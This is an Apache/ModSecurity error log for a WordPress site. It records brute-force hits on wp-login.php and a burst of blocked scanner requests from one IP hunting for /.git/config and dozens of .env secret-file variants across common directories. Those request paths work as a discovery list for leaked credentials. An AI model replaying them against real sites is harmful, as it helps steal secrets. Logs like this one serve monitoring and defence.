[Wed Nov 26 20:45:32.899189 2025] [autoindex:error] [pid 20733:tid 20754] [client 68.183.90.36:63627] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 20:53:15.529869 2025] [:error] [pid 45684:tid 45739] [client 185.223.152.237:48891] [client 185.223.152.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSb4O_g5LMxwI4-PD1dwDAAAABg"]
[Wed Nov 26 20:53:59.842279 2025] [:error] [pid 46443:tid 46445] [client 185.223.152.4:49975] [client 185.223.152.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.4, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSb4Z8LmDsnHrj-QFB_9jgAAAEA"]
[Wed Nov 26 21:04:19.794014 2025] [:error] [pid 45685:tid 45746] [client 185.223.152.90:23745] [client 185.223.152.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.90, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSb601j3f_NRdgU0DQ7uBAAAAQQ"]
[Wed Nov 26 21:08:31.494595 2025] [:error] [pid 46443:tid 46466] [client 185.223.152.252:25299] [client 185.223.152.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSb7z8LmDsnHrj-QFB8EoQAAAFU"]
[Wed Nov 26 21:14:19.809811 2025] [:error] [pid 45769:tid 45777] [client 185.223.152.89:54807] [client 185.223.152.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.89, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSb9K1dG5Eht9c3yy4M6lAAAAcU"]
[Wed Nov 26 21:19:10.955901 2025] [:error] [pid 45684:tid 45732] [client 185.223.152.252:29207] [client 185.223.152.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSb-Tvg5LMxwI4-PD1d-XwAAABE"]
[Wed Nov 26 21:24:32.680934 2025] [:error] [pid 45684:tid 45726] [client 185.223.152.91:43751] [client 185.223.152.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSb_kPg5LMxwI4-PD1eAfQAAAAs"]
[Wed Nov 26 21:31:49.598241 2025] [:error] [pid 45684:tid 45728] [client 198.71.53.139:36796] [client 198.71.53.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.71.53.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aScBRfg5LMxwI4-PD1eCtwAAAA0"]
[Wed Nov 26 21:34:08.571596 2025] [:error] [pid 45769:tid 45776] [client 185.223.152.124:29165] [client 185.223.152.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.124, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScB0FdG5Eht9c3yy4M_BgAAAcQ"]
[Wed Nov 26 21:44:35.934303 2025] [:error] [pid 45684:tid 45725] [client 185.223.152.85:62893] [client 185.223.152.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.85, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScEQ_g5LMxwI4-PD1eIaQAAAAo"]
[Wed Nov 26 21:44:40.537476 2025] [:error] [pid 6471:tid 6483] [client 3.25.55.238:35456] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aScESOh3Z9TZLlRuTiOzXwAAAIk"]
[Wed Nov 26 21:44:40.592515 2025] [:error] [pid 6471:tid 6495] [client 3.25.55.238:35472] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "aScESOh3Z9TZLlRuTiOzYAAAAJU"]
[Wed Nov 26 21:44:40.649817 2025] [:error] [pid 45683:tid 45702] [client 3.25.55.238:35476] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.local"] [unique_id "aScESBX1gQgNFW_222rLAwAAAU4"]
[Wed Nov 26 21:44:40.707954 2025] [:error] [pid 45685:tid 45761] [client 3.25.55.238:35484] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.dev"] [unique_id "aScESFj3f_NRdgU0DQ72pQAAARM"]
[Wed Nov 26 21:44:40.768982 2025] [:error] [pid 45685:tid 45753] [client 3.25.55.238:35500] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.prod"] [unique_id "aScESFj3f_NRdgU0DQ72pgAAAQs"]
[Wed Nov 26 21:44:40.828937 2025] [:error] [pid 46443:tid 46456] [client 3.25.55.238:35516] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "aScESMLmDsnHrj-QFB8QcgAAAEs"]
[Wed Nov 26 21:44:40.893088 2025] [:error] [pid 45685:tid 45751] [client 3.25.55.238:35530] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.development"] [unique_id "aScESFj3f_NRdgU0DQ72pwAAAQk"]
[Wed Nov 26 21:44:40.949834 2025] [:error] [pid 45684:tid 45717] [client 3.25.55.238:35538] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.production"] [unique_id "aScESPg5LMxwI4-PD1eIbAAAAAI"]
[Wed Nov 26 21:44:41.005893 2025] [:error] [pid 46443:tid 46452] [client 3.25.55.238:35550] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.test"] [unique_id "aScEScLmDsnHrj-QFB8QcwAAAEc"]
[Wed Nov 26 21:44:41.063463 2025] [:error] [pid 46443:tid 46449] [client 3.25.55.238:35562] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "aScEScLmDsnHrj-QFB8QdAAAAEQ"]
[Wed Nov 26 21:44:41.123486 2025] [:error] [pid 46443:tid 46467] [client 3.25.55.238:35572] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env~"] [unique_id "aScEScLmDsnHrj-QFB8QdQAAAFY"]
[Wed Nov 26 21:44:41.184718 2025] [:error] [pid 46443:tid 46461] [client 3.25.55.238:35574] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.sample"] [unique_id "aScEScLmDsnHrj-QFB8QdgAAAFA"]
[Wed Nov 26 21:44:41.249454 2025] [:error] [pid 46443:tid 46446] [client 3.25.55.238:35580] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.old"] [unique_id "aScEScLmDsnHrj-QFB8QeAAAAEE"]
[Wed Nov 26 21:44:41.307642 2025] [:error] [pid 45769:tid 45782] [client 3.25.55.238:35592] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "aScESVdG5Eht9c3yy4NB1wAAAco"]
[Wed Nov 26 21:44:41.367155 2025] [:error] [pid 46443:tid 46458] [client 3.25.55.238:35596] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.save"] [unique_id "aScEScLmDsnHrj-QFB8QeQAAAE0"]
[Wed Nov 26 21:44:41.423862 2025] [:error] [pid 45683:tid 45690] [client 3.25.55.238:35612] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.orig"] [unique_id "aScESRX1gQgNFW_222rLBgAAAUI"]
[Wed Nov 26 21:44:41.479386 2025] [:error] [pid 45683:tid 45703] [client 3.25.55.238:35614] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.swp"] [unique_id "aScESRX1gQgNFW_222rLBwAAAU8"]
[Wed Nov 26 21:44:41.538667 2025] [:error] [pid 45684:tid 45733] [client 3.25.55.238:35618] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.tmp"] [unique_id "aScESfg5LMxwI4-PD1eIbQAAABI"]
[Wed Nov 26 21:44:41.593535 2025] [:error] [pid 20733:tid 20754] [client 3.25.55.238:35634] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.dist"] [unique_id "aScESQV9EP2HuRvnH8d0IgAAANM"]
[Wed Nov 26 21:44:41.659791 2025] [:error] [pid 45685:tid 45766] [client 3.25.55.238:35640] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/admin/.env"] [unique_id "aScESVj3f_NRdgU0DQ72qQAAARg"]
[Wed Nov 26 21:44:41.718869 2025] [:error] [pid 45684:tid 45721] [client 3.25.55.238:35654] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/admin/.env.save"] [unique_id "aScESfg5LMxwI4-PD1eIbgAAAAY"]
[Wed Nov 26 21:44:41.774218 2025] [:error] [pid 6471:tid 6493] [client 3.25.55.238:35658] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/admin/.env.bak"] [unique_id "aScESeh3Z9TZLlRuTiOzYQAAAJM"]
[Wed Nov 26 21:44:41.836299 2025] [:error] [pid 45769:tid 45772] [client 3.25.55.238:35666] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/admin/.env.old"] [unique_id "aScESVdG5Eht9c3yy4NB2QAAAcA"]
[Wed Nov 26 21:44:41.902106 2025] [:error] [pid 45769:tid 45786] [client 3.25.55.238:35676] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/api/.env"] [unique_id "aScESVdG5Eht9c3yy4NB2gAAAc4"]
[Wed Nov 26 21:44:41.967015 2025] [:error] [pid 45769:tid 45794] [client 3.25.55.238:35678] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/api/.env.save"] [unique_id "aScESVdG5Eht9c3yy4NB2wAAAdY"]
[Wed Nov 26 21:44:42.026319 2025] [:error] [pid 6471:tid 6490] [client 3.25.55.238:35694] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/api/.env.bak"] [unique_id "aScESuh3Z9TZLlRuTiOzYgAAAJA"]
[Wed Nov 26 21:44:42.082597 2025] [:error] [pid 45769:tid 45789] [client 3.25.55.238:35698] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/api/.env.old"] [unique_id "aScESldG5Eht9c3yy4NB3AAAAdE"]
[Wed Nov 26 21:44:42.149052 2025] [:error] [pid 45684:tid 45726] [client 3.25.55.238:35706] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/app/.env"] [unique_id "aScESvg5LMxwI4-PD1eIcQAAAAs"]
[Wed Nov 26 21:44:42.208253 2025] [:error] [pid 45684:tid 45731] [client 3.25.55.238:35720] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/app/.env.save"] [unique_id "aScESvg5LMxwI4-PD1eIcwAAABA"]
[Wed Nov 26 21:44:42.269233 2025] [:error] [pid 46443:tid 46451] [client 3.25.55.238:35724] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/app/.env.bak"] [unique_id "aScESsLmDsnHrj-QFB8QfAAAAEY"]
[Wed Nov 26 21:44:42.330711 2025] [:error] [pid 46443:tid 46465] [client 3.25.55.238:35740] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/app/.env.old"] [unique_id "aScESsLmDsnHrj-QFB8QfQAAAFQ"]
[Wed Nov 26 21:44:42.391791 2025] [:error] [pid 45684:tid 45725] [client 3.25.55.238:35746] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/config/.env"] [unique_id "aScESvg5LMxwI4-PD1eIdAAAAAo"]
[Wed Nov 26 21:44:42.453523 2025] [:error] [pid 6471:tid 6482] [client 3.25.55.238:35754] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/config/.env.save"] [unique_id "aScESuh3Z9TZLlRuTiOzYwAAAIg"]
[Wed Nov 26 21:44:42.509982 2025] [:error] [pid 6471:tid 6497] [client 3.25.55.238:35762] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/config/.env.bak"] [unique_id "aScESuh3Z9TZLlRuTiOzZAAAAJc"]
[Wed Nov 26 21:44:42.571762 2025] [:error] [pid 6471:tid 6494] [client 3.25.55.238:35766] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/config/.env.old"] [unique_id "aScESuh3Z9TZLlRuTiOzZQAAAJQ"]
[Wed Nov 26 21:44:42.630022 2025] [:error] [pid 20733:tid 20747] [client 3.25.55.238:35782] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/src/.env"] [unique_id "aScESgV9EP2HuRvnH8d0JAAAAMw"]
[Wed Nov 26 21:44:42.693900 2025] [:error] [pid 45683:tid 45711] [client 3.25.55.238:35796] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/src/.env.save"] [unique_id "aScEShX1gQgNFW_222rLCAAAAVc"]
[Wed Nov 26 21:44:42.754307 2025] [:error] [pid 45684:tid 45734] [client 3.25.55.238:35800] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/src/.env.bak"] [unique_id "aScESvg5LMxwI4-PD1eIdgAAABM"]
[Wed Nov 26 21:44:42.812179 2025] [:error] [pid 45684:tid 45727] [client 3.25.55.238:35810] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/src/.env.old"] [unique_id "aScESvg5LMxwI4-PD1eIdwAAAAw"]
[Wed Nov 26 21:44:42.874864 2025] [:error] [pid 45684:tid 45738] [client 3.25.55.238:35826] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/public/.env"] [unique_id "aScESvg5LMxwI4-PD1eIeAAAABc"]
[Wed Nov 26 21:44:42.934733 2025] [:error] [pid 45684:tid 45737] [client 3.25.55.238:35840] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/public/.env.save"] [unique_id "aScESvg5LMxwI4-PD1eIeQAAABY"]
[Wed Nov 26 21:44:42.995686 2025] [:error] [pid 45684:tid 45723] [client 3.25.55.238:35848] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/public/.env.bak"] [unique_id "aScESvg5LMxwI4-PD1eIewAAAAg"]
[Wed Nov 26 21:44:43.056966 2025] [:error] [pid 45769:tid 45774] [client 3.25.55.238:35854] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/public/.env.old"] [unique_id "aScES1dG5Eht9c3yy4NB3QAAAcI"]
[Wed Nov 26 21:44:43.116698 2025] [:error] [pid 20733:tid 20748] [client 3.25.55.238:35868] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/assets/.env"] [unique_id "aScESwV9EP2HuRvnH8d0JQAAAM0"]
[Wed Nov 26 21:44:43.175283 2025] [:error] [pid 45685:tid 45745] [client 3.25.55.238:35874] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/assets/.env.save"] [unique_id "aScES1j3f_NRdgU0DQ72qgAAAQM"]
[Wed Nov 26 21:44:43.234937 2025] [:error] [pid 20733:tid 20755] [client 3.25.55.238:35876] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/assets/.env.bak"] [unique_id "aScESwV9EP2HuRvnH8d0JgAAANQ"]
